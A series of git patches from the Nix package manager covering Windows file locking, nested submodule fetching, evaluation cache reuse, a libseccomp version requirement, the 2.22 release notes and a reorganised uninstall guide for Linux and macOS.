-367,4 +367,17 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) nix_gc_decref(ctx, e); } +TEST_F(nix_api_expr_test, nix_copy_value) +{ + Value * source = nix_alloc_value(ctx, state); + + nix_init_int(ctx, source, 42); + nix_copy_value(ctx, value, source); + + ASSERT_EQ(42, nix_get_int(ctx, value)); + + // Clean up + nix_gc_decref(ctx, source); +} + } From 16669ae4457607728dff2c3974fa825ba745d44e Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 22 Apr 2024 11:00:09 +0200 Subject: [PATCH 0515/1251] Update doc/manual/src/installation/uninstall.md --- doc/manual/src/installation/uninstall.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md index 0465ee5bb..7dda489dd 100644 --- a/doc/manual/src/installation/uninstall.md +++ b/doc/manual/src/installation/uninstall.md @@ -7,7 +7,7 @@ If you have a [single-user installation](./installing-binary.md#single-user-inst ```console $ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile ``` -You might also want to manually remove reference to Nix from your `~/.profile`. +You might also want to manually remove references to Nix from your `~/.profile`. ## Multi User From 750bcaa330744be3866c9e0df3f55eaed3de2093 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 22 Apr 2024 16:41:40 +0200 Subject: [PATCH 0516/1251] Fix fetchGit nested submodules --- src/libfetchers/unix/git.cc | 5 +++ tests/functional/fetchGitSubmodules.sh | 42 ++++++++++++++++++++++++++ 2 files changed, 47 insertions(+) diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 18915c0a7..0c54c5504 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -642,6 +642,8 @@ struct GitInputScheme : InputScheme attrs.insert_or_assign("ref", submodule.branch); attrs.insert_or_assign("rev", submoduleRev.gitRev()); attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); + attrs.insert_or_assign("submodules", Explicit{ true }); + attrs.insert_or_assign("allRefs", Explicit{ true }); auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); @@ -696,6 +698,9 @@ struct GitInputScheme : InputScheme attrs.insert_or_assign("type", "git"); attrs.insert_or_assign("url", submodulePath.abs()); attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); + attrs.insert_or_assign("submodules", Explicit{ true }); + // TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out + // attrs.insert_or_assign("allRefs", Explicit{ true }); auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh index cd180815d..bd82a0a17 100644 --- a/tests/functional/fetchGitSubmodules.sh +++ b/tests/functional/fetchGitSubmodules.sh @@ -170,3 +170,45 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = [[ -e $pathWithoutExportIgnore/exclude-from-root ]] [[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]] + +test_submodule_nested() { + local repoA=$TEST_ROOT/submodule_nested/a + local repoB=$TEST_ROOT/submodule_nested/b + local repoC=$TEST_ROOT/submodule_nested/c + + rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix + + initGitRepo $repoC + touch $repoC/inside-c + git -C $repoC add inside-c + addGitContent $repoC + + initGitRepo $repoB + git -C $repoB submodule add $repoC c + git -C $repoB add c + addGitContent $repoB + + initGitRepo $repoA + git -C $repoA submodule add $repoB b + git -C $repoA add b + addGitContent $repoA + + + # Check non-worktree fetch + local rev=$(git -C $repoA rev-parse HEAD) + out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath") + test -e $out/b/c/inside-c + test -e $out/content + test -e $out/b/content + test -e $out/b/c/content + local nonWorktree=$out + + # Check worktree based fetch + # TODO: make it work without git submodule update + git -C $repoA submodule update --init --recursive + out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath") + find $out + [[ $out == $nonWorktree ]] || { find $out; false; } + +} +test_submodule_nested From aa165301d1ae3b306319a6a834dc1d4e340a7112 Mon Sep 17 00:00:00 2001 From: Dylan Green <67574902+cidkidnix@users.noreply.github.com> Date: Mon, 22 Apr 2024 10:08:10 -0500 Subject: [PATCH 0517/1251] Pathlocks Implementation for Windows (#10586) Based on Volth's original port. Co-authored-by: volth --- src/build-remote/build-remote.cc | 1 - src/libstore/pathlocks.hh | 34 +++++- src/libstore/unix/lock.cc | 2 - src/libstore/unix/pathlocks-impl.hh | 38 ------- src/libstore/unix/pathlocks.cc | 24 ++--- src/libstore/windows/pathlocks-impl.hh | 2 - src/libstore/windows/pathlocks.cc | 139 ++++++++++++++++++++++++- 7 files changed, 178 insertions(+), 62 deletions(-) delete mode 100644 src/libstore/unix/pathlocks-impl.hh delete mode 100644 src/libstore/windows/pathlocks-impl.hh diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 2a4723643..18eee830b 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -22,7 +22,6 @@ #include "experimental-features.hh" using namespace nix; -using namespace nix::unix; using std::cin; static void handleAlarm(int sig) { diff --git a/src/libstore/pathlocks.hh b/src/libstore/pathlocks.hh index b97fbecb9..42a84a1a3 100644 --- a/src/libstore/pathlocks.hh +++ b/src/libstore/pathlocks.hh @@ -5,10 +5,26 @@ namespace nix { +/** + * Open (possibly create) a lock file and return the file descriptor. + * -1 is returned if create is false and the lock could not be opened + * because it doesn't exist. Any other error throws an exception. + */ +AutoCloseFD openLockFile(const Path & path, bool create); + +/** + * Delete an open lock file. + */ +void deleteLockFile(const Path & path, Descriptor desc); + +enum LockType { ltRead, ltWrite, ltNone }; + +bool lockFile(Descriptor desc, LockType lockType, bool wait); + class PathLocks { private: - typedef std::pair FDPair; + typedef std::pair FDPair; std::list fds; bool deletePaths; @@ -24,6 +40,18 @@ public: void setDeletion(bool deletePaths); }; -} +struct FdLock +{ + Descriptor desc; + bool acquired = false; -#include "pathlocks-impl.hh" + FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg); + + ~FdLock() + { + if (acquired) + lockFile(desc, ltNone, false); + } +}; + +} diff --git a/src/libstore/unix/lock.cc b/src/libstore/unix/lock.cc index fd7af171f..023c74e34 100644 --- a/src/libstore/unix/lock.cc +++ b/src/libstore/unix/lock.cc @@ -9,8 +9,6 @@ namespace nix { -using namespace nix::unix; - #if __linux__ static std::vector get_group_list(const char *username, gid_t group_id) diff --git a/src/libstore/unix/pathlocks-impl.hh b/src/libstore/unix/pathlocks-impl.hh deleted file mode 100644 index 31fe968bb..000000000 --- a/src/libstore/unix/pathlocks-impl.hh +++ /dev/null @@ -1,38 +0,0 @@ -#pragma once -///@file - -#include "file-descriptor.hh" - -namespace nix::unix { - -/** - * Open (possibly create) a lock file and return the file descriptor. - * -1 is returned if create is false and the lock could not be opened - * because it doesn't exist. Any other error throws an exception. - */ -AutoCloseFD openLockFile(const Path & path, bool create); - -/** - * Delete an open lock file. - */ -void deleteLockFile(const Path & path, int fd); - -enum LockType { ltRead, ltWrite, ltNone }; - -bool lockFile(int fd, LockType lockType, bool wait); - -struct FdLock -{ - int fd; - bool acquired = false; - - FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg); - - ~FdLock() - { - if (acquired) - lockFile(fd, ltNone, false); - } -}; - -} diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc index 32c1b9ff4..af21319a7 100644 --- a/src/libstore/unix/pathlocks.cc +++ b/src/libstore/unix/pathlocks.cc @@ -14,9 +14,7 @@ namespace nix { -using namespace nix::unix; - -AutoCloseFD unix::openLockFile(const Path & path, bool create) +AutoCloseFD openLockFile(const Path & path, bool create) { AutoCloseFD fd; @@ -28,20 +26,20 @@ AutoCloseFD unix::openLockFile(const Path & path, bool create) } -void unix::deleteLockFile(const Path & path, int fd) +void deleteLockFile(const Path & path, Descriptor desc) { /* Get rid of the lock file. Have to be careful not to introduce races. Write a (meaningless) token to the file to indicate to other processes waiting on this lock that the lock is stale (deleted). */ unlink(path.c_str()); - writeFull(fd, "d"); + writeFull(desc, "d"); /* Note that the result of unlink() is ignored; removing the lock file is an optimisation, not a necessity. */ } -bool unix::lockFile(int fd, LockType lockType, bool wait) +bool lockFile(Descriptor desc, LockType lockType, bool wait) { int type; if (lockType == ltRead) type = LOCK_SH; @@ -50,7 +48,7 @@ bool unix::lockFile(int fd, LockType lockType, bool wait) else abort(); if (wait) { - while (flock(fd, type) != 0) { + while (flock(desc, type) != 0) { checkInterrupt(); if (errno != EINTR) throw SysError("acquiring/releasing lock"); @@ -58,7 +56,7 @@ bool unix::lockFile(int fd, LockType lockType, bool wait) return false; } } else { - while (flock(fd, type | LOCK_NB) != 0) { + while (flock(desc, type | LOCK_NB) != 0) { checkInterrupt(); if (errno == EWOULDBLOCK) return false; if (errno != EINTR) @@ -149,16 +147,16 @@ void PathLocks::unlock() } -FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg) - : fd(fd) +FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg) + : desc(desc) { if (wait) { - if (!lockFile(fd, lockType, false)) { + if (!lockFile(desc, lockType, false)) { printInfo("%s", waitMsg); - acquired = lockFile(fd, lockType, true); + acquired = lockFile(desc, lockType, true); } } else - acquired = lockFile(fd, lockType, false); + acquired = lockFile(desc, lockType, false); } diff --git a/src/libstore/windows/pathlocks-impl.hh b/src/libstore/windows/pathlocks-impl.hh deleted file mode 100644 index ba3ad28d9..000000000 --- a/src/libstore/windows/pathlocks-impl.hh +++ /dev/null @@ -1,2 +0,0 @@ -#pragma once -///@file Needed because Unix-specific counterpart diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc index ab4294c2a..738057f68 100644 --- a/src/libstore/windows/pathlocks.cc +++ b/src/libstore/windows/pathlocks.cc @@ -1,16 +1,149 @@ #include "logging.hh" #include "pathlocks.hh" +#include "signals.hh" +#include "util.hh" +#include +#include +#include +#include "windows-error.hh" namespace nix { -bool PathLocks::lockPaths(const PathSet & _paths, const std::string & waitMsg, bool wait) +void deleteLockFile(const Path & path, Descriptor desc) { - return true; + + int exit = DeleteFileA(path.c_str()); + if (exit == 0) + warn("%s: &s", path, std::to_string(GetLastError())); } void PathLocks::unlock() { - warn("PathLocks::unlock: not yet implemented"); + for (auto & i : fds) { + if (deletePaths) + deleteLockFile(i.second, i.first); + + if (CloseHandle(i.first) == -1) + printError("error (ignored): cannot close lock file on '%1%'", i.second); + + debug("lock released on '%1%'", i.second); + } + + fds.clear(); +} + +AutoCloseFD openLockFile(const Path & path, bool create) +{ + AutoCloseFD desc = CreateFileA( + path.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + create ? OPEN_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, NULL); + if (desc.get() == INVALID_HANDLE_VALUE) + warn("%s: %s", path, std::to_string(GetLastError())); + + return desc; +} + +bool lockFile(Descriptor desc, LockType lockType, bool wait) +{ + switch (lockType) { + case ltNone: { + OVERLAPPED ov = {0}; + if (!UnlockFileEx(desc, 0, 2, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + throw winError; + } + return true; + } + case ltRead: { + OVERLAPPED ov = {0}; + if (!LockFileEx(desc, wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY, 0, 1, 0, &ov)) { + WinError winError("Failed to lock file desc %s", desc); + if (winError.lastError == ERROR_LOCK_VIOLATION) + return false; + throw winError; + } + + ov.Offset = 1; + if (!UnlockFileEx(desc, 0, 1, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + if (winError.lastError != ERROR_NOT_LOCKED) + throw winError; + } + return true; + } + case ltWrite: { + OVERLAPPED ov = {0}; + ov.Offset = 1; + if (!LockFileEx(desc, LOCKFILE_EXCLUSIVE_LOCK | (wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY), 0, 1, 0, &ov)) { + WinError winError("Failed to lock file desc %s", desc); + if (winError.lastError == ERROR_LOCK_VIOLATION) + return false; + throw winError; + } + + ov.Offset = 0; + if (!UnlockFileEx(desc, 0, 1, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + if (winError.lastError != ERROR_NOT_LOCKED) + throw winError; + } + return true; + } + default: + assert(false); + } +} + +bool PathLocks::lockPaths(const PathSet & paths, const std::string & waitMsg, bool wait) +{ + assert(fds.empty()); + + for (auto & path : paths) { + checkInterrupt(); + Path lockPath = path + ".lock"; + debug("locking path '%1%'", path); + + AutoCloseFD fd; + + while (1) { + fd = openLockFile(lockPath, true); + if (!lockFile(fd.get(), ltWrite, false)) { + if (wait) { + if (waitMsg != "") + printError(waitMsg); + lockFile(fd.get(), ltWrite, true); + } else { + unlock(); + return false; + } + } + + debug("lock aquired on '%1%'", lockPath); + + struct _stat st; + if (_fstat(fromDescriptorReadOnly(fd.get()), &st) == -1) + throw SysError("statting lock file '%1%'", lockPath); + if (st.st_size != 0) + debug("open lock file '%1%' has become stale", lockPath); + else + break; + } + + fds.push_back(FDPair(fd.release(), lockPath)); + } + return true; +} + +FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg) + : desc(desc) +{ + if (wait) { + if (!lockFile(desc, lockType, false)) { + printInfo("%s", waitMsg); + acquired = lockFile(desc, lockType, true); + } + } else + acquired = lockFile(desc, lockType, false); } } From a60a1f09b2f667d10ff0873b9fd5a70bad3febfd Mon Sep 17 00:00:00 2001 From: Guillaume Maudoux Date: Fri, 19 Apr 2024 16:21:51 +0200 Subject: [PATCH 0518/1251] Reuse eval caches and related values when possible --- src/libcmd/installables.cc | 22 +++++++++++++++------- src/libexpr/eval.hh | 8 ++++++++ 2 files changed, 23 insertions(+), 7 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index ed6772377..5683e1afa 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -444,12 +444,10 @@ ref openEvalCache( std::shared_ptr lockedFlake) { auto fingerprint = lockedFlake->getFingerprint(state.store); - return make_ref( - evalSettings.useEvalCache && evalSettings.pureEval - ? fingerprint - : std::nullopt, - state, - [&state, lockedFlake]() + auto hash = evalSettings.useEvalCache && evalSettings.pureEval + ? fingerprint + : std::nullopt; + auto rootLoader = [&state, lockedFlake]() { /* For testing whether the evaluation cache is complete. */ @@ -465,7 +463,17 @@ ref openEvalCache( assert(aOutputs); return aOutputs->value; - }); + }; + + if (hash) { + auto search = state.evalCaches.find(hash.value()); + if (search == state.evalCaches.end()) { + search = state.evalCaches.emplace(hash.value(), make_ref(hash, state, rootLoader)).first; + } + return search->second; + } else { + return make_ref(hash, state, rootLoader); + } } Installables SourceExprCommand::parseInstallables( diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 3477f6c46..508361301 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -34,6 +34,9 @@ class StorePath; struct SingleDerivedPath; enum RepairFlag : bool; struct MemoryInputAccessor; +namespace eval_cache { + class EvalCache; +} /** @@ -282,6 +285,11 @@ public: return *new EvalErrorBuilder(*this, args...); } + /** + * A cache for evaluation caches, so as to reuse the same root value if possible + */ + std::map> evalCaches; + private: /* Cache for calls to addToStore(); maps source paths to the store From 73918b0ae4f1bfbf0a11fb50df8b48f7135060ba Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Mon, 22 Apr 2024 20:19:03 +0200 Subject: [PATCH 0519/1251] Require at least libseccomp 2.5.5 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes #10585 As it turns out, libseccomp maintains an internal syscall table and validates each rule against it. This means that when using libseccomp 2.5.4 or older, one may pass `452` as syscall number against it, but since it doesn't exist in the internal structure, `libseccomp` will refuse to create a filter for that. This happens with nixpkgs-23.11, i.e. on stable NixOS and when building Nix against the project's flake. To work around that * a backport of libseccomp 2.5.5 on upstream nixpkgs has been scheduled[1]. * the package now uses libseccomp 2.5.5 on its own already. This is to provide a quick fix since the correct fix for 23.11 is still a staging cycle away. It must not be possible to build a Nix with an incompatible libseccomp version (nothing can be built in a sandbox on Linux!), so configure.ac rejects libseccomp if `__SNR_fchmodat2` is not defined. We still need the compat header though since `SCMP_SYS(fchmodat2)` internally transforms this into `__SNR_fchmodat2` which points to `__NR_fchmodat2` from glibc 2.39, so it wouldn't build on glibc 2.38. The updated syscall table from libseccomp 2.5.5 is NOT used for that step, but used later, so we need both, our compat header and their syscall table 🤷 [1] https://github.com/NixOS/nixpkgs/pull/306070 --- configure.ac | 11 +++++++++++ package.nix | 9 ++++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/configure.ac b/configure.ac index 1d327d51d..8f60bf4be 100644 --- a/configure.ac +++ b/configure.ac @@ -317,6 +317,17 @@ case "$host_os" in [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"]) have_seccomp=1 AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.]) + AC_COMPILE_IFELSE([ + AC_LANG_SOURCE([[ + #include + #ifndef __SNR_fchmodat2 + # error "Missing support for fchmodat2" + #endif + ]]) + ], [], [ + echo "libseccomp is missing __SNR_fchmodat2. Please provide libseccomp 2.5.5 or later" + exit 1 + ]) else have_seccomp= fi diff --git a/package.nix b/package.nix index d11743427..59265f522 100644 --- a/package.nix +++ b/package.nix @@ -1,4 +1,5 @@ { lib +, fetchurl , stdenv , releaseTools , autoconf-archive @@ -248,7 +249,13 @@ in { ] ++ lib.optionals buildUnitTests [ gtest rapidcheck - ] ++ lib.optional stdenv.isLinux libseccomp + ] ++ lib.optional stdenv.isLinux (libseccomp.overrideAttrs (_: rec { + version = "2.5.5"; + src = fetchurl { + url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; + hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; + }; + })) ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid # There have been issues building these dependencies ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) From 34c5346e98a6f35f17172caad3b67a99e7f5b854 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 23 Apr 2024 10:19:32 +0200 Subject: [PATCH 0520/1251] release notes: 2.22.0 --- doc/manual/rl-next/nix-eval-derivations.md | 13 ------------- doc/manual/rl-next/remove-repl-flake.md | 8 -------- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/release-notes/rl-2.22.md | 21 +++++++++++++++++++++ 4 files changed, 22 insertions(+), 21 deletions(-) delete mode 100644 doc/manual/rl-next/nix-eval-derivations.md delete mode 100644 doc/manual/rl-next/remove-repl-flake.md create mode 100644 doc/manual/src/release-notes/rl-2.22.md diff --git a/doc/manual/rl-next/nix-eval-derivations.md b/doc/manual/rl-next/nix-eval-derivations.md deleted file mode 100644 index ed0a73384..000000000 --- a/doc/manual/rl-next/nix-eval-derivations.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -synopsis: "`nix eval` prints derivations as `.drv` paths" -prs: 10200 ---- - -`nix eval` will now print derivations as their `.drv` paths, rather than as -attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate -instead of infinitely looping into recursive self-referential attributes: - -```ShellSession -$ nix eval nixpkgs#bash -«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv» -``` diff --git a/doc/manual/rl-next/remove-repl-flake.md b/doc/manual/rl-next/remove-repl-flake.md deleted file mode 100644 index 23298e2ed..000000000 --- a/doc/manual/rl-next/remove-repl-flake.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -synopsis: Remove experimental repl-flake -significance: significant -issues: 10103 -prs: 10299 ---- - -The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).* diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index d9044fbda..77531d665 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -122,6 +122,7 @@ - [C++ style guide](contributing/cxx.md) - [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} + - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md) - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) - [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md) diff --git a/doc/manual/src/release-notes/rl-2.22.md b/doc/manual/src/release-notes/rl-2.22.md new file mode 100644 index 000000000..e916cb8a3 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.22.md @@ -0,0 +1,21 @@ +# Release 2.22.0 (2024-04-23) + +### Significant changes + +- Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299) + + The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).* + +### Other changes + +- `nix eval` prints derivations as `.drv` paths [#10200](https://github.com/NixOS/nix/pull/10200) + + `nix eval` will now print derivations as their `.drv` paths, rather than as + attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate + instead of infinitely looping into recursive self-referential attributes: + + ```ShellSession + $ nix eval nixpkgs#bash + «derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv» + ``` + From b219017b8882055cc959474946a586d6e8307ea7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 23 Apr 2024 10:21:45 +0200 Subject: [PATCH 0521/1251] Typo --- doc/manual/src/release-notes/rl-2.22.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/release-notes/rl-2.22.md b/doc/manual/src/release-notes/rl-2.22.md index e916cb8a3..c78d3d692 100644 --- a/doc/manual/src/release-notes/rl-2.22.md +++ b/doc/manual/src/release-notes/rl-2.22.md @@ -4,7 +4,7 @@ - Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299) - The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).* + The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled). ### Other changes From 26384a3187181695c24d420676d4d1d0a1faa7fd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 23 Apr 2024 14:14:13 +0200 Subject: [PATCH 0522/1251] Bump version --- .version | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.version b/.version index f48f82fa2..e9763f6bf 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.22.0 +2.23.0 From 5747d244ed82bd93508dae7af6a39c57f9518bc5 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 24 Apr 2024 17:04:49 +0200 Subject: [PATCH 0523/1251] streamline macOS uninstall instructions (#10589) * move single-user uninstall to the end this is not the default method of installation, and therefore irrelevant for most users. * move the backup restore instructions to the first step for most users we can expect that the system-wide shell init files were not ever touched, so we can as well tell them to do the most likely thing. from experience, while it's not necessarily safe to just mess with these files, most people are simply confused by the complexity of instructions. * provide more detailed instructions for using `sudo vifs` we can expect most beginners not to ever have used `vi`, and they will probably need some hand-holding. * express instructions as a script Co-authored-by: wamirez Co-authored-by: Robert Hensing --- doc/manual/src/installation/uninstall.md | 110 ++++++++++++----------- 1 file changed, 58 insertions(+), 52 deletions(-) diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md index 7dda489dd..590327fea 100644 --- a/doc/manual/src/installation/uninstall.md +++ b/doc/manual/src/installation/uninstall.md @@ -1,17 +1,8 @@ # Uninstalling Nix -## Single User - -If you have a [single-user installation](./installing-binary.md#single-user-installation) of Nix, uninstall it by running: - -```console -$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile -``` -You might also want to manually remove references to Nix from your `~/.profile`. - ## Multi User -Removing a [multi-user installation](./installing-binary.md#multi-user-installation) of Nix is more involved, and depends on the operating system. +Removing a [multi-user installation](./installing-binary.md#multi-user-installation) depends on the operating system. ### Linux @@ -52,7 +43,15 @@ which you may remove. ### macOS -1. Edit `/etc/zshrc`, `/etc/bashrc`, and `/etc/bash.bashrc` to remove the lines sourcing `nix-daemon.sh`, which should look like this: +1. If system-wide shell initialisation files haven't been altered since installing Nix, use the backups made by the installer: + + ```console + sudo mv /etc/zshrc.backup-before-nix /etc/zshrc + sudo mv /etc/bashrc.backup-before-nix /etc/bashrc + sudo mv /etc/bash.bashrc.backup-before-nix /etc/bash.bashrc + ``` + + Otherwise, edit `/etc/zshrc`, `/etc/bashrc`, and `/etc/bash.bashrc` to remove the lines sourcing `nix-daemon.sh`, which should look like this: ```bash # Nix @@ -62,18 +61,6 @@ which you may remove. # End Nix ``` - If these files haven't been altered since installing Nix you can simply put - the backups back in place: - - ```console - sudo mv /etc/zshrc.backup-before-nix /etc/zshrc - sudo mv /etc/bashrc.backup-before-nix /etc/bashrc - sudo mv /etc/bash.bashrc.backup-before-nix /etc/bash.bashrc - ``` - - This will stop shells from sourcing the file and bringing everything you - installed using Nix in scope. - 2. Stop and remove the Nix daemon services: ```console @@ -83,8 +70,7 @@ which you may remove. sudo rm /Library/LaunchDaemons/org.nixos.darwin-store.plist ``` - This stops the Nix daemon and prevents it from being started next time you - boot the system. + This stops the Nix daemon and prevents it from being started next time you boot the system. 3. Remove the `nixbld` group and the `_nixbuildN` users: @@ -95,25 +81,42 @@ which you may remove. This will remove all the build users that no longer serve a purpose. -4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store - volume on `/nix`, which looks like - `UUID= /nix apfs rw,noauto,nobrowse,suid,owners` or - `LABEL=Nix\040Store /nix apfs rw,nobrowse`. This will prevent automatic - mounting of the Nix Store volume. +4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store volume on `/nix`, which looks like -5. Edit `/etc/synthetic.conf` to remove the `nix` line. If this is the only - line in the file you can remove it entirely, `sudo rm /etc/synthetic.conf`. - This will prevent the creation of the empty `/nix` directory to provide a - mountpoint for the Nix Store volume. + ``` + UUID= /nix apfs rw,noauto,nobrowse,suid,owners + ``` + or -6. Remove the files Nix added to your system: + ``` + LABEL=Nix\040Store /nix apfs rw,nobrowse + ``` + + by setting the cursor on the respective line using the error keys, and pressing `dd`, and then `:wq` to save the file. + + This will prevent automatic mounting of the Nix Store volume. + +5. Edit `/etc/synthetic.conf` to remove the `nix` line. + If this is the only line in the file you can remove it entirely: + + ```bash + if [ -f /etc/synthetic.conf ]; then + if [ "$(cat /etc/synthetic.conf)" = "nix" ]; then + sudo rm /etc/synthetic.conf + else + sudo vi /etc/synthetic.conf + fi + fi + ``` + + This will prevent the creation of the empty `/nix` directory. + +6. Remove the files Nix added to your system, except for the store: ```console sudo rm -rf /etc/nix /var/root/.nix-profile /var/root/.nix-defexpr /var/root/.nix-channels ~/.nix-profile ~/.nix-defexpr ~/.nix-channels ``` - This gets rid of any data Nix may have created except for the store which is - removed next. 7. Remove the Nix Store volume: @@ -121,29 +124,32 @@ which you may remove. sudo diskutil apfs deleteVolume /nix ``` - This will remove the Nix Store volume and everything that was added to the - store. + This will remove the Nix Store volume and everything that was added to the store. - If the output indicates that the command couldn't remove the volume, you should - make sure you don't have an _unmounted_ Nix Store volume. Look for a - "Nix Store" volume in the output of the following command: + If the output indicates that the command couldn't remove the volume, you should make sure you don't have an _unmounted_ Nix Store volume. + Look for a "Nix Store" volume in the output of the following command: ```console diskutil list ``` - If you _do_ see a "Nix Store" volume, delete it by re-running the diskutil - deleteVolume command, but replace `/nix` with the store volume's `diskXsY` - identifier. + If you _do_ find a "Nix Store" volume, delete it by running `diskutil deleteVolume` with the store volume's `diskXsY` identifier. > **Note** > -> After you complete the steps here, you will still have an empty `/nix` -> directory. This is an expected sign of a successful uninstall. The empty -> `/nix` directory will disappear the next time you reboot. +> After you complete the steps here, you will still have an empty `/nix` directory. +> This is an expected sign of a successful uninstall. +> The empty `/nix` directory will disappear the next time you reboot. > -> You do not have to reboot to finish uninstalling Nix. The uninstall is -> complete. macOS (Catalina+) directly controls root directories and its -> read-only root will prevent you from manually deleting the empty `/nix` -> mountpoint. +> You do not have to reboot to finish uninstalling Nix. +> The uninstall is complete. +> macOS (Catalina+) directly controls root directories, and its read-only root will prevent you from manually deleting the empty `/nix` mountpoint. +## Single User + +To remove a [single-user installation](./installing-binary.md#single-user-installation) of Nix, run: + +```console +$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile +``` +You might also want to manually remove references to Nix from your `~/.profile`. From 4ff7f5aa9cf15a3c8922ecb2c52875f4f8672899 Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Tue, 16 Apr 2024 13:26:20 +0200 Subject: [PATCH 0524/1251] refactor `fetchers::PublicKey` tests --- 